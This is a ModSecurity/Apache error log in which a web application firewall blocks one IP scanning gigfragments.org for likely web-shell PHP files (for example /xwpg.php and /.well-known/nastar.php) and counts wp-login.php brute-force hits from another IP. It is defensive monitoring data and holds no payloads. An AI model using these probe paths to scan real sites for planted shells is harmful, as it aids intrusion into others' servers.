[Thu Apr 23 16:16:09.313463 2026] [:error] [pid 64998:tid 65006] [client 20.216.153.175:22046] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVSYV5EysYcTLjmwjrlgAAAcQ"]
[Thu Apr 23 16:16:09.579355 2026] [:error] [pid 65000:tid 65053] [client 20.216.153.175:16535] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVSb6vRb9j6psK2Za9jQAAAhQ"]
[Thu Apr 23 16:16:10.047917 2026] [:error] [pid 42973:tid 43058] [client 20.216.153.175:26868] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVSm6I0QqmmmLTHE3FwgAAAI8"]
[Thu Apr 23 16:16:10.378309 2026] [:error] [pid 42973:tid 43055] [client 20.216.153.175:56637] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVSm6I0QqmmmLTHE3FwwAAAIw"]
[Thu Apr 23 16:16:10.881773 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:60050] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVSm6I0QqmmmLTHE3FxQAAAJY"]
[Thu Apr 23 16:16:11.652050 2026] [:error] [pid 65000:tid 65029] [client 20.216.153.175:36285] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVS76vRb9j6psK2Za9kgAAAgA"]
[Thu Apr 23 16:16:11.706820 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:5329] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVS76vRb9j6psK2Za9kwAAAgM"]
[Thu Apr 23 16:16:12.710018 2026] [:error] [pid 65000:tid 65048] [client 20.216.153.175:32245] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVTL6vRb9j6psK2Za9lgAAAg8"]
[Thu Apr 23 16:16:12.818461 2026] [:error] [pid 59700:tid 59721] [client 20.216.153.175:42816] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVTJXyGZJFeAIDWtnoqwAAAVM"]
[Thu Apr 23 16:16:13.754771 2026] [:error] [pid 64998:tid 65020] [client 20.216.153.175:26359] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVTYV5EysYcTLjmwjrmQAAAdI"]
[Thu Apr 23 16:16:13.782011 2026] [:error] [pid 64998:tid 65026] [client 20.216.153.175:45554] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10.php"] [unique_id "aenVTYV5EysYcTLjmwjrmgAAAdg"]
[Thu Apr 23 16:16:14.551514 2026] [:error] [pid 64998:tid 65011] [client 20.216.153.175:34748] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10.php"] [unique_id "aenVToV5EysYcTLjmwjrnAAAAck"]
[Thu Apr 23 16:16:14.572098 2026] [:error] [pid 59700:tid 59706] [client 20.216.153.175:23505] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVTpXyGZJFeAIDWtnorAAAAUQ"]
[Thu Apr 23 16:16:15.291147 2026] [:error] [pid 64998:tid 65007] [client 20.216.153.175:29857] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10.php"] [unique_id "aenVT4V5EysYcTLjmwjroAAAAcU"]
[Thu Apr 23 16:16:15.621735 2026] [:error] [pid 64998:tid 65002] [client 20.216.153.175:36875] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVT4V5EysYcTLjmwjroQAAAcA"]
[Thu Apr 23 16:16:16.026086 2026] [:error] [pid 64998:tid 65008] [client 20.216.153.175:29854] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10.php"] [unique_id "aenVUIV5EysYcTLjmwjrogAAAcY"]
[Thu Apr 23 16:16:16.453587 2026] [:error] [pid 64998:tid 65016] [client 20.216.153.175:19774] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/6.php"] [unique_id "aenVUIV5EysYcTLjmwjrpgAAAc4"]
[Thu Apr 23 16:16:17.280542 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:46086] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/6.php"] [unique_id "aenVUb6vRb9j6psK2Za9oAAAAgM"]
[Thu Apr 23 16:16:17.912761 2026] [:error] [pid 46953:tid 46978] [client 20.216.153.175:23611] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/100.php"] [unique_id "aenVUUnlpdHh-P6wKboGtAAAAlU"]
[Thu Apr 23 16:16:18.101426 2026] [:error] [pid 46953:tid 46973] [client 20.216.153.175:30839] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/6.php"] [unique_id "aenVUknlpdHh-P6wKboGtgAAAlE"]
[Thu Apr 23 16:16:18.892477 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:15421] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/100.php"] [unique_id "aenVUoV5EysYcTLjmwjrsAAAAdc"]
[Thu Apr 23 16:16:19.124728 2026] [:error] [pid 64998:tid 65007] [client 20.216.153.175:19727] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/6.php"] [unique_id "aenVU4V5EysYcTLjmwjrsgAAAcU"]
[Thu Apr 23 16:16:19.725757 2026] [:error] [pid 42972:tid 43036] [client 20.216.153.175:12414] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/100.php"] [unique_id "aenVU8OAb-3sOknsk4fKKwAAAFQ"]
[Thu Apr 23 16:16:20.007758 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:19714] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVVMOAb-3sOknsk4fKLQAAAFU"]
[Thu Apr 23 16:16:20.561589 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:55890] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/100.php"] [unique_id "aenVVMOAb-3sOknsk4fKMQAAAFE"]
[Thu Apr 23 16:16:20.681564 2026] [:error] [pid 42972:tid 43019] [client 85.214.147.13:37046] [client 85.214.147.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.147.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aenVVMOAb-3sOknsk4fKNAAAAEM"]
[Thu Apr 23 16:16:20.694855 2026] [:error] [pid 42972:tid 43025] [client 20.216.153.175:48010] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVVMOAb-3sOknsk4fKNgAAAEk"]
[Thu Apr 23 16:16:21.270073 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:12379] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVVcOAb-3sOknsk4fKOgAAAEc"]
[Thu Apr 23 16:16:21.333103 2026] [:error] [pid 42971:tid 43002] [client 20.216.153.175:50867] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aenVVTEP2_5RswrH8bELNwAAABA"]
[Thu Apr 23 16:16:22.248947 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:20328] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/9.php"] [unique_id "aenVVm6I0QqmmmLTHE3FyQAAAJI"]
[Thu Apr 23 16:16:22.313563 2026] [:error] [pid 42973:tid 43067] [client 20.216.153.175:32258] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aenVVm6I0QqmmmLTHE3FygAAAJg"]
[Thu Apr 23 16:16:22.322182 2026] [:error] [pid 42972:tid 43027] [client 85.214.147.13:37046] [client 85.214.147.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.147.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aenVVsOAb-3sOknsk4fKPwAAAEs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 16:16:22.996619 2026] [:error] [pid 65000:tid 65053] [client 20.216.153.175:14017] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10.php"] [unique_id "aenVVr6vRb9j6psK2Za9pQAAAhQ"]
[Thu Apr 23 16:16:43.434622 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:37263] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/144.php"] [unique_id "aenVa8OAb-3sOknsk4fKtwAAAFc"]
[Thu Apr 23 16:16:43.773919 2026] [:error] [pid 42971:tid 42991] [client 20.216.153.175:40631] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aenVazEP2_5RswrH8bELRgAAAAU"]
[Thu Apr 23 16:16:44.683378 2026] [:error] [pid 42973:tid 43052] [client 20.216.153.175:53081] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/144.php"] [unique_id "aenVbG6I0QqmmmLTHE3F5AAAAIk"]
[Thu Apr 23 16:16:45.236601 2026] [:error] [pid 65000:tid 65031] [client 20.216.153.175:14540] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aenVbb6vRb9j6psK2Za9uAAAAgI"]
[Thu Apr 23 16:16:45.845137 2026] [:error] [pid 46953:tid 46962] [client 20.216.153.175:64494] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/144.php"] [unique_id "aenVbUnlpdHh-P6wKboGvAAAAkY"]
[Thu Apr 23 16:16:46.132343 2026] [:error] [pid 42972:tid 43021] [client 20.216.153.175:55918] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aenVbsOAb-3sOknsk4fKvgAAAEU"]
[Thu Apr 23 16:16:46.959102 2026] [:error] [pid 42973:tid 43050] [client 20.216.153.175:17840] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/144.php"] [unique_id "aenVbm6I0QqmmmLTHE3F6gAAAIc"]
[Thu Apr 23 16:16:47.070199 2026] [:error] [pid 42973:tid 43063] [client 20.216.153.175:36185] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aenVb26I0QqmmmLTHE3F6wAAAJQ"]
[Thu Apr 23 16:16:47.340063 2026] [:error] [pid 42973:tid 43059] [client 20.216.153.175:6123] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVb26I0QqmmmLTHE3F7QAAAJA"]
[Thu Apr 23 16:16:47.854289 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:21644] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwpg.php"] [unique_id "aenVb26I0QqmmmLTHE3F7wAAAJE"]
[Thu Apr 23 16:16:48.552567 2026] [:error] [pid 42973:tid 43056] [client 20.216.153.175:53083] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwpg.php"] [unique_id "aenVcG6I0QqmmmLTHE3F8QAAAI0"]
[Thu Apr 23 16:16:48.828777 2026] [:error] [pid 42972:tid 43022] [client 20.216.153.175:18349] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVcMOAb-3sOknsk4fKwwAAAEY"]
[Thu Apr 23 16:16:49.599611 2026] [:error] [pid 65000:tid 65039] [client 20.216.153.175:32282] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVcb6vRb9j6psK2Za9ugAAAgY"]
[Thu Apr 23 16:16:50.179398 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:53064] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/no18.php"] [unique_id "aenVcr6vRb9j6psK2Za9uwAAAgM"]
[Thu Apr 23 16:16:50.248103 2026] [:error] [pid 64967:tid 64982] [client 20.216.153.175:17335] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwpg.php"] [unique_id "aenVcoAV4GfOOdX8QzpYIQAAAY0"]
[Thu Apr 23 16:16:51.029390 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:5198] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVc8OAb-3sOknsk4fKxgAAAEg"]
[Thu Apr 23 16:16:51.679997 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:55876] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwpg.php"] [unique_id "aenVc8OAb-3sOknsk4fKyQAAAEs"]
[Thu Apr 23 16:16:51.737395 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:21655] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVc8OAb-3sOknsk4fKygAAAEo"]
[Thu Apr 23 16:16:52.818004 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:50854] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVdMOAb-3sOknsk4fK0gAAAFI"]
[Thu Apr 23 16:16:52.906926 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:14055] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ass.php"] [unique_id "aenVdMOAb-3sOknsk4fK0wAAAEM"]
[Thu Apr 23 16:16:53.722795 2026] [:error] [pid 65000:tid 65054] [client 20.216.153.175:37292] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ass.php"] [unique_id "aenVdb6vRb9j6psK2Za9vwAAAhU"]
[Thu Apr 23 16:16:54.289984 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:20257] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fine.php"] [unique_id "aenVdsOAb-3sOknsk4fK1gAAAFE"]
[Thu Apr 23 16:16:54.730031 2026] [:error] [pid 59700:tid 59707] [client 20.216.153.175:37301] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ass.php"] [unique_id "aenVdpXyGZJFeAIDWtnovwAAAUU"]
[Thu Apr 23 16:16:55.168163 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:41258] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aenVd8OAb-3sOknsk4fK2AAAAFc"]
